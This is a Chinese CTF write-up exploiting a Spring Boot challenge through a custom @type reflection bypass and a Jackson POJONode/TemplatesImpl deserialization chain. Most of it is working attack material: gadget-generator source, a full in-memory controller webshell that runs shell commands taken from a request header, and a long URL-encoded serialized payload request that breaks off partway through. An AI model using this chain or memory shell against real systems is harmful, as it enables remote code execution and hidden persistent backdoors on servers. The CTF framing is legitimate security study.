题目分析

META-INFpom.xml,存在Springboot 2.7.12JackSon依赖。

BOOT-INF看源码。

只有一个/safeobject路由。

    @RequestMapping({"/safeobject"})
    public String start(String obj, String classes) throws Exception {
        if (!classes.contains("Object") && !classes.contains("LinkedHashMap")) {
            Class c = Class.forName(classes);
            SecurityCheck var10000 = isSafe;
            if (SecurityCheck.isSafe()) {
                Object o = SecurityCheck.deObject(mapper.readValue(obj, c));
                return o.toString();
            } else {
                StringBuilder sb = new StringBuilder();
                var10000 = isSafe;
                Iterator var5 = SecurityCheck.ismap().iterator();

                while(var5.hasNext()) {
                    Object item = var5.next();
                    byte[] s = SecurityCheck.base64Decode((String)item);
                    sb.append(SecurityCheck.deserialize(s));
                }

                return sb.toString();
            }
        } else {
            return "error";
        }
    }

传进来的classes必须不包含LinkedHashMap以及Object才会走到if里,之后加载classes类。

由于SecurityChecksafe变量默认为true,所以默认走第一个if

想法是第一个if中直接打个POJONODE,之后o.toString调用POJONODE#toString方法触发RCE.

POJONODE#toString  //后反序列化触发
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties

ObjectMapper#readValue方法是用来恢复对象用的,第二个参数是指定的类名,第一个是要反序列化成的对象。

而这题的一个难点可能就是需要读懂deObject方法。

public static void setFieldValues(Object obj, String fieldName, Object fieldValue) {
    try {
        setFieldValue(obj, fieldName, deObject(fieldValue));
    } catch (Exception var4) {
        System.out.println(var4);
    }
}
public static Object deObject(Object ob) throws Exception {
    if (ob instanceof LinkedHashMap) {
        LinkedHashMap map = (LinkedHashMap)ob;
        String type = (String)map.get("@type");
        if (!"".equals(type) && type != null) {
            Class clazz = Class.forName(type);
            Object obj = clazz.newInstance();
            Iterator ir = map.keySet().iterator();
            while(ir.hasNext()) {
                String key = (String)ir.next();
                Object value = map.get(key);
                if (!key.equals("@type")) {
                    Field field = getField(clazz, key);
                    if (field != null) {
                        setFieldValues(obj, key, value);
                    }
                }
            }
            return obj;
        } else {
            return map;
        }
    } else {
        return ob;
    }
}

这里instanceofLinkedHashMap的子类绕过就行,随便找一个org.springframework.core.annotation.AnnotationAttributes

deObject是一个恢复类属性的方法,并且setFieldValue那里会循环调用deObject。这是为了处理属性是一个类的情况,比如说在进行jackson攻击的时候,POJONODE_value很明显是个TemplatesImpl,如果不这么递归处理那么不可能给_value赋值一个object

于是搓出来这样一个payload_bytecodes这里是个字节数组:

classes:
org.springframework.core.annotation.AnnotationAttributes
obj:
{"@type":"com.fasterxml.jackson.databind.node.POJONode","_value":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["123","123123",...],"_name":"squirt1e","_tfactory":{},"_outputProperties":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"},"_name":"a"}}

但是这里实际是打不通的。因为POJONODE只有一个带参数的构造方法,但是题目反射实例化类这里调用的是无参反射,到下面代码那一行直接报错了。

Object obj = clazz.newInstance();

RCE

真正的利用点在else分支的反序列化方法中,因为存在Jackson依赖,可以打个Jackson全版本通杀链子。

StringBuilder sb = new StringBuilder();
var10000 = isSafe;
Iterator var5 = SecurityCheck.ismap().iterator();

while(var5.hasNext()) {
    Object item = var5.next();
    byte[] s = SecurityCheck.base64Decode((String)item);
    sb.append(SecurityCheck.deserialize(s)); //exploit
}

return sb.toString();

首先我们要设置SecurityCheck类的safefalse,这样才能走到else那里。

{"@type":"ctf.nese.SecurityCheck","safe":false}

憨批了,这里只设置safe还不行,我们还要把payload传进去这样第二遍才能加载payload。这里还有个小问题,就是给treeMap赋值是有些说法的。treeMap是个hashSet类型,我们通过deObject方法怎么给他赋值呢?我感觉这个题难点就在这里。线下不好上网很有可能不知道怎么赋值。

HashSet的构造函数,其实就是实例化一个HashMap。因此不难推断出HashSet就是基于HashMap实现的,准确来说是阉割版。

    public HashSet() {
        map = new HashMap<>();
    }

而他的add方法就是往HashMap里塞进去一个键值对,HashMap的键就是HashSet的值,而后面的PRESENT只起一个占位作用。这么做的原因是HashMap本身就不允许重复键,正好被HashSet拿来用。

    private static final Object PRESENT = new Object();
    public boolean add(E e) {
        return map.put(e, PRESENT)==null;
    }

所以直接给mapkey赋值反序列化数据就可以了。

{"@type":"ctf.nese.SecurityCheck","safe":false,"treeMap":{"@type":"java.util.HashSet","map":{"反序列化字符串":""}}}

注意base64有一些脏字符,url编码即可。

内存马攻击

环境不出网,Springboot依赖注入内存马即可。

package gadget.memshell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringBootMemoryShellOfController extends AbstractTranslet {
    public Integer i = 0 ;

    public SpringBootMemoryShellOfController() throws Exception{
        // 1. 利用spring内部方法获取context
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        // 2. 从context中获得 RequestMappingHandlerMapping 的实例
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

        Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
        configField.setAccessible(true);
        RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);

        // 3. 通过反射获得自定义 controller 中的 Method 对象
        Method method = SpringBootMemoryShellOfController.class.getMethod("test",HttpServletRequest.class, HttpServletResponse.class);

        // 在内存中动态注册 controller
        RequestMappingInfo info = RequestMappingInfo.paths("/test2").options(config).build();

        if(i==0){
            SpringBootMemoryShellOfController springBootMemoryShellOfController = new SpringBootMemoryShellOfController("aaa");
            mappingHandlerMapping.registerMapping(info, springBootMemoryShellOfController, method);
            System.out.println(i);
            i=1;
        }

    }

    public SpringBootMemoryShellOfController(String test){

    }

    public void test(HttpServletRequest request, HttpServletResponse response) throws Exception{
        if (request.getHeader("squirt1e") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", request.getHeader("squirt1e")} : new String[]{"cmd.exe", "/c", request.getHeader("squirt1e")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

至于JackSonexp我是直接抄的网上通过AOPProxy解决jackson链不稳定的版本。

package gadget;

import gadget.memshell.SpringBootMemoryShellOfController;
import javassist.*;
import com.fasterxml.jackson.databind.node.POJONode;
import org.springframework.aop.framework.AdvisedSupport;
import util.GadgetUtils;
import util.SerializerUtils;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;

//BadAttributeValueExpException.toString -> POJONode -> getter -> TemplatesImpl
public class Jackson {
    public static void main(String[] args) throws Exception {

//        final Object template = GadgetUtils.createTemplatesImpl(SpringBootMemoryShellOfController.class);

//        final Object template = GadgetUtils.templatesImplLocalWindows();
        CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        // 将修改后的CtClass加载至当前线程的上下文类加载器中
        ctClass.toClass();

        POJONode node = new POJONode(makeTemplatesImplAopProxy());
//        POJONode node = new POJONode(template);
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, node);
//        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
//        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
//        oos.writeObject(val);
//        SerializerUtils.unserialize(SerializerUtils.serialize(val));
        System.out.println(Base64.getEncoder().encodeToString(SerializerUtils.serialize(val)));
    }

    public static Object makeTemplatesImplAopProxy() throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        final Object template = GadgetUtils.createTemplatesImpl(SpringBootMemoryShellOfController.class);
        advisedSupport.setTarget(template);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
        return proxy;
    }
}

攻击:

classes=org.springframework.core.annotation.AnnotationAttributes&obj=%7B%22%40type%22%3A%22com.example.jackson.SecurityCheck%22%2C%22safe%22%3Afalse%2C%22treeMap%22%3A%7B%22%40type%22%3A%22java.util.HashSet%22%2C%22map%22%3A%7B%22rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAInQADmdhZGdldC5KYWNrc29udAAMSmFja3Nvbi5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB%2BABV4c3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWVxAH4AAXhyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc30AAAABAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuSmRrRHluYW1pY0FvcFByb3h5TMS0cQ7rlvwCAARaAA1lcXVhbHNEZWZpbmVkWgAPaGFzaENvZGVEZWZpbmVkTAAHYWR2aXNlZHQAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNlZFN1cHBvcnQ7WwARcHJveGllZEludGVyZmFjZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cAAAc3IAMG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5BZHZpc2VkU3VwcG9ydCTLijz6pMV1AgAFWgALcHJlRmlsdGVyZWRMABNhZHZpc29yQ2hhaW5GYWN0b3J5dAA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc29yQ2hhaW5GYWN0b3J5O0wACGFkdmlzb3JzcQB%2BAAdMAAppbnRlcmZhY2VzcQB%2BAAdMAAx0YXJnZXRTb3VyY2V0ACZMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvVGFyZ2V0U291cmNlO3hyAC1vcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuUHJveHlDb25maWeLS%2FPmp%2BD3bwIABVoAC2V4cG9zZVByb3h5WgAGZnJvemVuWgAGb3BhcXVlWgAIb3B0aW1pemVaABBwcm94eVRhcmdldENsYXNzeHAAAAAAAABzcgA8b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkRlZmF1bHRBZHZpc29yQ2hhaW5GYWN0b3J5VN1kN%2BJOcfcCAAB4cHNxAH4AFAAAAAB3BAAAAAB4c3EAfgAUAAAAAHcEAAAAAHhzcgA0b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AudGFyZ2V0LlNpbmdsZXRvblRhcmdldFNvdXJjZX1VbvXH%2BPq6AgABTAAGdGFyZ2V0cQB%2BAAF4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzcQB%2BACBMAAVfbmFtZXEAfgAFTAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA%2F%2F%2F%2F%2F3VyAANbW0JL%2FRkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF%2FgGCFTgAgAAeHAAABdGyv66vgAAADQBDQoAOQCCCgCDAIQJABAAhQoAhgCHCACICwCJAIoHAIsHAIwLAAcAjQoAjgCPCABKCgASAJAKAJEAkgoAkQCTBwCVBwCWCABdBwCXBwCYBwCZCgASAJoHAJsIAJwKAJQAnQsAngCfCwCeAKAKAIMAoQgAogoAEACjCgAIAKQJAKUApgoApwCoCACpCwATAKoIAKsKAKUArAoAFgCtCACuCgAWAK8IALAIALEIALIIALMKALQAtQoAtAC2CgC3ALgHALkKAC8AuggAuwoALwC8CgAvAL0KAC8AvggAvwsAFADACgDBAMIKAMEAwwcAxAEAAWkBABNMamF2YS9sYW5nL0ludGVnZXI7AQAGPGluaXQ%2BAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAIXNwcmluZ0Jvb3RNZW1vcnlTaGVsbE9mQ29udHJvbGxlcgEAM0xnYWRnZXQvbWVtc2hlbGwvU3ByaW5nQm9vdE1lbW9yeVNoZWxsT2ZDb250cm9sbGVyOwEABHRoaXMBAAdjb250ZXh0AQA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEAFW1hcHBpbmdIYW5kbGVyTWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEAC2NvbmZpZ0ZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABmNvbmZpZwEAFEJ1aWxkZXJDb25maWd1cmF0aW9uAQAMSW5uZXJDbGFzc2VzAQBUTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlckNvbmZpZ3VyYXRpb247AQAGbWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAARpbmZvAQA%2FTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm87AQANU3RhY2tNYXBUYWJsZQcAlgcAiwcAjAcAxQcAlQcAxgcAxwEACkV4Y2VwdGlvbnMHAMgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAR0ZXN0AQASTGphdmEvbGFuZy9TdHJpbmc7AQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEAB2lzTGludXgBAAFaAQAFb3NUeXABAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAmluAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQABcwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAAZvdXRwdXQBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7BwCbBwBkBwDJBwC5BwCYBwCZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAygEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAJlNwcmluZ0Jvb3RNZW1vcnlTaGVsbE9mQ29udHJvbGxlci5qYXZhDAA8AD0HAMsMAMwAzQwAOgA7BwDODADPANABADlvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5zZXJ2bGV0LkRpc3BhdGNoZXJTZXJ2bGV0LkNPTlRFWFQHANEMANIA0wEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0AQBSb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwwA1ADVBwDWDADXANgMANkA2gcAxQwA2wDcDADdAN4HAMcBAFJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvJEJ1aWxkZXJDb25maWd1cmF0aW9uAQAxZ2FkZ2V0L21lbXNoZWxsL1NwcmluZ0Jvb3RNZW1vcnlTaGVsbE9mQ29udHJvbGxlcgEAD2phdmEvbGFuZy9DbGFzcwEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQwA3wDgAQAQamF2YS9sYW5nL1N0cmluZwEABi90ZXN0MgwA4QDjBwDkDADlAOYMAOcA6AwA6QDqAQADYWFhDAA8AFwMAOsA7AcA7QwA7gDvBwDwDADxAPIBAAhzcXVpcnQxZQwA8wD0AQAHb3MubmFtZQwA9QD0DAD2APcBAAN3aW4MAPgA%2BQEAAnNoAQACLWMBAAdjbWQuZXhlAQACL2MHAPoMAPsA%2FAwA%2FQD%2BBwD%2FDAEAAQEBABFqYXZhL3V0aWwvU2Nhbm5lcgwAPAECAQACXEEMAQMBBAwBBQEGDAEHAPcBAAAMAQgBCQcBCgwBCwBcDAEMAD0BAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAD1vcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAE2phdmEvaW8vSW5wdXRTdHJlYW0BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvSW50ZWdlcgEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEAOW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlcwEADGdldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztJKUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldEJlYW4BACUoTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9PYmplY3Q7AQAQamF2YS9sYW5nL09iamVjdAEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABXBhdGhzAQAHQnVpbGRlcgEAXChbTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvJEJ1aWxkZXI7AQBFb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyAQAHb3B0aW9ucwEAnShMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyQ29uZmlndXJhdGlvbjspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsBAAVidWlsZAEAQSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm87AQAIaW50VmFsdWUBAAMoKUkBAA9yZWdpc3Rlck1hcHBpbmcBAG4oTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm87TGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDspVgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL09iamVjdDspVgEACWdldEhlYWRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBAAVmbHVzaAAhABAAOQAAAAEAAQA6ADsAAAAFAAEAPAA9AAIAPgAAAW8ABgAIAAAAoyq3AAEqA7gAArUAA7gABBIFA7kABgMAwAAHTCsSCLkACQIAwAAITSy2AAoSC7YADE4tBLYADS0stgAOwAAPOgQSEBIRBb0AElkDEhNTWQQSFFO2ABU6BQS9ABZZAxIXU7gAGBkEuQAZAgC5ABoBADoGKrQAA7YAG5oAKrsAEFkSHLcAHToHLBkGGQcZBbYAHrIAHyq0AAO2ACAqBLgAArUAA7EAAAADAD8AAAA%2BAA8AAAAaAAQAGAAMABwAGwAeACcAIAAxACEANgAiAEAAJQBXACgAcQAqAHsAKwCGACwAkAAtAJoALgCiADEAQAAAAFIACACGABwAQQBCAAcAAACjAEMAQgAAABsAiABEAEUAAQAnAHwARgBHAAIAMQByAEgASQADAEAAYwBKAE0ABABXAEwATgBPAAUAcQAyAFAAUQAGAFIAAAAeAAH%2FAKIABwcAUwcAVAcAVQcAVgcAVwcAWAcAWQAAAFoAAAAEAAEAWwABADwAXAABAD4AAABJAAIAAgAAAA0qtwABKgO4AAK1AAOxAAAAAgA%2FAAAADgADAAAAMwAEABgADAA1AEAAAAAWAAIAAAANAEMAQgAAAAAADQBdAF4AAQABAF0AXwACAD4AAAGDAAUACQAAAKkrEiG5ACICAMYAoAQ%2BEiO4ACQ6BBkExgASGQS2ACUSJrYAJ5kABQM%2BHZkAHwa9ABZZAxIoU1kEEilTWQUrEiG5ACICAFOnABwGvQAWWQMSKlNZBBIrU1kFKxIhuQAiAgBTOgW4ACwZBbYALbYALjoGuwAvWRkGtwAwEjG2ADI6BxkHtgAzmQALGQe2ADSnAAUSNToILLkANgEAGQi2ADcsuQA2AQC2ADixAAAAAwA%2FAAAAMgAMAAAAOAALADkADQA6ABQAOwAmADwAKAA%2BAGMAPwBwAEAAgABBAJQAQgCfAEMAqABFAEAAAABcAAkADQCbAGAAYQADABQAlABiAF4ABABjAEUAYwBkAAUAcAA4AGUAZgAGAIAAKABnAGgABwCUABQAaQBeAAgAAACpAEMAQgAAAAAAqQBqAGsAAQAAAKkAbABtAAIAUgAAAC4ABv0AKAEHAG4fWAcAb%2F4ALgcAbwcAcAcAcUEHAG7%2FABUAAwcAUwcAcgcAcwAAAFoAAAAEAAEAWwABAHQAdQACAD4AAAA